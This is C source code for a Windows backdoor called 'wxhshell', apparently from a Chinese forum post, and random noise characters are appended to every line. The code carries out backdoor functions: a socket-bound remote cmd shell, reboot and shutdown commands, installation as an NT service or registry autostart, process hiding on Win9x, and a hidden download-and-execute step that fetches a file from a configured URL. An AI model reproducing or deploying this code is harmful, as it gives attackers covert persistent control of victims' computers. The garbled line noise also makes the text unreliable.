  // 帮助 Z2% HQL2  
  case '?': { uJ !&T  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 06&J!,p :  
    break; :C~Ar]  
  } Ot t6y  
  // 安装 5)k8(kH  
  case 'i': { uN|A}/hr]  
    if(Install()) `g)}jo`W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bt+^H6cb  
    else $)i`!7`4=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c/;;zc  
    break; oL<#9)+2*  
    } )ZG;.j  
  // 卸载 3o<d= @`r  
  case 'r': { ) r2Y@+.FN  
    if(Uninstall()) ^X=Q{nB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y+k_&ss  
    else !#tVQ2O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &`"DG$N(  
    break; $*yYmF  
    } *]6g-E?:@  
  // 显示 wxhshell 所在路径 o.+;]i}D  
  case 'p': { |VBt:dd<  
    char svExeFile[MAX_PATH]; D BT4 W/  
    strcpy(svExeFile,"\n\r"); "g{q=[U}  
      strcat(svExeFile,ExeFile); LK^|JEu  
        send(wsh,svExeFile,strlen(svExeFile),0); }u Y2-l  
    break; 6K/RO)  
    } U<Pjn)M~B  
  // 重启 p8 rh`7  
  case 'b': { l& :EKh  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); tcD7OC:"6  
    if(Boot(REBOOT)) ;FPx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pf*6/7S:  
    else { b/SBQ" B%  
    closesocket(wsh); jkAjYR.  
    ExitThread(0); zTz}H*U  
    } `c`VIq?  
    break; Ma YU%h0  
    } [BWq9uE  
  // 关机 54 lD+%E  
  case 'd': { ]%\,.&=hT  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +>ju,;4WK  
    if(Boot(SHUTDOWN)) fqNh\~kja  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [GwAm>k  
    else { -9Q(3$}  
    closesocket(wsh); L kt4F  
    ExitThread(0); LU1I `E  
    } h<9s& p  
    break; jUe@xi s<T  
    } o2/:e  
  // 获取shell s\*L5{kiSl  
  case 's': { 4>JSZ6i#n  
    CmdShell(wsh); Kkvc Zs'4m  
    closesocket(wsh); L 4By5)  
    ExitThread(0); o3J#hQrl  
    break; =7Ln&tZ  
  } }0'=}BE  
  // 退出 xQoZ[  
  case 'x': {  N5 ME_)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ltlp9 S  
    CloseIt(wsh); 'o AmA=  
    break; 3Cf9'C  
    } &?<uR)tl  
  // 离开 |;ztK[(  
  case 'q': { <r%K i`u(p  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ( }-*irSsj  
    closesocket(wsh); EX8JlA\-W  
    WSACleanup(); 2qMiX|Y  
    exit(1); asWk]jjMG  
    break; gf|uZ9{  
        } I!x.bp~V!  
  } Q$%apL  
  } |'^s3i&w  
!fh (k  
  // 提示信息 {)YbksrJ{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6'qkD<  
} Sj+H{xJi  
  } o`T.Zaik,  
ZmA}i`  
  return; !xs}CxEyA  
} K'A+V  
Llfl I   
// shell模块句柄 #bOv}1,s  
int CmdShell(SOCKET sock) b<h((]Q>^  
{ ?]Yic]$n  
STARTUPINFO si; }:m#}s  
ZeroMemory(&si,sizeof(si)); -@v^. @[Z&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7?.uAiM'zT  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^<;W+dWdU  
PROCESS_INFORMATION ProcessInfo; P1#g{f  
char cmdline[]="cmd"; [2:d@=%.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); T(!1\TB  
  return 0; E=NjWO  
} Xdvd\H=  
_i =*0Q  
// 自身启动模式 >A Ep\ *  
int StartFromService(void) >6es 5}  
{ *G"hjc$L  
typedef struct [(X~C*VdxM  
{ -l[H]BAMXy  
  DWORD ExitStatus; 9z,sn#-t  
  DWORD PebBaseAddress; ZCCCuB  
  DWORD AffinityMask; [P2>KQ\  
  DWORD BasePriority; GT6; I7  
  ULONG UniqueProcessId; taDe^Ist j  
  ULONG InheritedFromUniqueProcessId; ( yLu=  
}   PROCESS_BASIC_INFORMATION; %=z>kU1|  
s<*+=aIfu  
PROCNTQSIP NtQueryInformationProcess; dPO"8HQ  
I(UK9H{0$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; hq"n RH  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; kNP-+o  
LYAGpcG  
  HANDLE             hProcess; [XPAI["  
  PROCESS_BASIC_INFORMATION pbi; Zzlt^#KLx  
ll}_EUF|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,`U>BBBLv  
  if(NULL == hInst ) return 0; zMepF]V  
)P? 0YC  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~LI}   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); L@RnLaoQ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); vJr,lBHEk  
G%Lt>5*!nE  
  if (!NtQueryInformationProcess) return 0;  Ju5Dd\  
M*'8$|Z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5%wA"_  
  if(!hProcess) return 0; ,&Zp^  
zvN7aG  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; NI/'SMj%  
Q?hf2iw  
  CloseHandle(hProcess); J_a2DM6d  
&R/-~w5  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); AW;xlY= g  
if(hProcess==NULL) return 0; pv4#`.m  
dJzaP  
HMODULE hMod; DmWa!5  
char procName[255]; C-_u`|jQ  
unsigned long cbNeeded; Bd*Ok]  
G(A7=8vW  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #_Uo^Mw  
'xEomo#  
  CloseHandle(hProcess); dM,{:eID  
'?90e4x3/  
if(strstr(procName,"services")) return 1; // 以服务启动 uR=*q a  
\k$cg~  
  return 0; // 注册表启动 { zL4dJw  
} I(>_as\1  
X+;#^A3  
// 主模块 dtQ3iuV %  
int StartWxhshell(LPSTR lpCmdLine) | Eu#mN  
{ 'mv|6Y  
  SOCKET wsl; ,LOx!  
BOOL val=TRUE; ko{&~   
  int port=0; lh\`9F:  
  struct sockaddr_in door; Ug[0l)  
u9 *ic~Nh  
  if(wscfg.ws_autoins) Install(); 7wrRIeES  
%h_N%B$7c1  
port=atoi(lpCmdLine); .F/l$4CQ  
FIJ]`  
if(port<=0) port=wscfg.ws_port; uYE"O UNWL  
G{+zKs}~  
  WSADATA data; :p1_ij]ND  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Kk\,q?  
(6)|v S  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $?&distJ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Ch=jt*0  
  door.sin_family = AF_INET; 5M%)*.Y 3[  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 43`Atw`\  
  door.sin_port = htons(port); h?QGJ^#8  
4SkCV  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  L$]Y$yv  
closesocket(wsl); M\08 7k  
return 1; *Xu?(Jd  
} /p|L.&`U  
!'bZ|j%  
  if(listen(wsl,2) == INVALID_SOCKET) { [Z[ p@Ux  
closesocket(wsl); UE/iq\a>  
return 1; q' t"  
} U@".XIDQ  
  Wxhshell(wsl); JGlp7wro  
  WSACleanup(); vf!lhV-UG+  
+W|VCz  
return 0; @i>4k  
?KFj=Yo  
} 2 o5u02x  
iT~ gt/K  
// 以NT服务方式启动 na|23jz4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) a^)@ }4  
{ c*V/2" 5  
DWORD   status = 0; @(m?j1!M  
  DWORD   specificError = 0xfffffff; &A&2z l %#  
kybDw{(}gc  
  serviceStatus.dwServiceType     = SERVICE_WIN32; P7 qzZ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )tx!BJiZ[  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5Noy~;  
  serviceStatus.dwWin32ExitCode     = 0; $btk48a7  
  serviceStatus.dwServiceSpecificExitCode = 0; E#yG}UWe  
  serviceStatus.dwCheckPoint       = 0; r4pR[G._  
  serviceStatus.dwWaitHint       = 0; Uclta  
_^NL{R/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 'Fa~l'G7X  
  if (hServiceStatusHandle==0) return; hx!hI1   
kXZG<?  
status = GetLastError(); +Y440Tz  
  if (status!=NO_ERROR) L@~0`z:>iP  
{ k mX:~KMb  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;<s0~B#9}  
    serviceStatus.dwCheckPoint       = 0; Ft 2u&Rtx  
    serviceStatus.dwWaitHint       = 0; ~ =c[?:  
    serviceStatus.dwWin32ExitCode     = status; ]= 9^wS  
    serviceStatus.dwServiceSpecificExitCode = specificError; Si=u=FI1e  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); a>)|SfsE  
    return; :cE~\B S&  
  } L[}Ak1 A  
|BE`ASW;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;c0z6E /  
  serviceStatus.dwCheckPoint       = 0; -<@QR8:  
  serviceStatus.dwWaitHint       = 0; j%Z%_{6Ds*  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); m 3"|$0C~  
} K`twbTU  
52z{   
// 处理NT服务事件,比如:启动、停止 ;+R  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >WYradLUi  
{ +{H0$4y  
switch(fdwControl) "' ]|o~B  
{ gwv s  
case SERVICE_CONTROL_STOP: 629 #t`W\  
  serviceStatus.dwWin32ExitCode = 0; C?7I(b:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4xzoA'Mb@  
  serviceStatus.dwCheckPoint   = 0; ~Jx0#+z9V  
  serviceStatus.dwWaitHint     = 0; Eh|v>Yew  
  { "'*w_H0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5!iBKOl#D  
  } cP`[/5R  
  return;  @1O.;  
case SERVICE_CONTROL_PAUSE: b=Oec%Adx  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; PuGc{kt  
  break; #m36p+U  
case SERVICE_CONTROL_CONTINUE: }J|Pd3Q Sf  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8)51p+a  
  break; QK@[ b3-h1  
case SERVICE_CONTROL_INTERROGATE: @w5x;uB|%G  
  break; j55;E E!  
}; xJ|_R,>.H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Rr6}$]1  
} CH+mzy  
k{-#2Qz  
// 标准应用程序主函数 Gsa~zGN  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  Va3/#is'  
{ x4%1P w  
r`5svY  
// 获取操作系统版本 *d mS'/  
OsIsNt=GetOsVer(); 8q_"aa,`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 'jj|bN  
g vu1  
  // 从命令行安装 o* C_9M  
  if(strpbrk(lpCmdLine,"iI")) Install(); l#cG#-  
K4K]oT  
  // 下载执行文件 Z|6,*XEc   
if(wscfg.ws_downexe) { G7uYkJO  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 32x[6"T  
  WinExec(wscfg.ws_filenam,SW_HIDE); "#G`F  
} >Pf\"% *  
bd)'1;p  
if(!OsIsNt) { i.Z iLDs\7  
// 如果时win9x,隐藏进程并且设置为注册表启动 Qs\*r@6?  
HideProc(); s|\\"3  
StartWxhshell(lpCmdLine); #b wGDF  
} nN5fP<H2x  
else %_%Bb Qf  
  if(StartFromService()) FL E3LH  
  // 以服务方式启动 _bn "c@s  
  StartServiceCtrlDispatcher(DispatchTable); 0S2/,[-u+  
else bZWdd6  
  // 普通方式启动 M2pFXU?]  
  StartWxhshell(lpCmdLine); L%;[tu(*  
`lA_knS  
return 0; ,)M/mG?,  
}
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只看该作者 1 发表于: 2006-10-10
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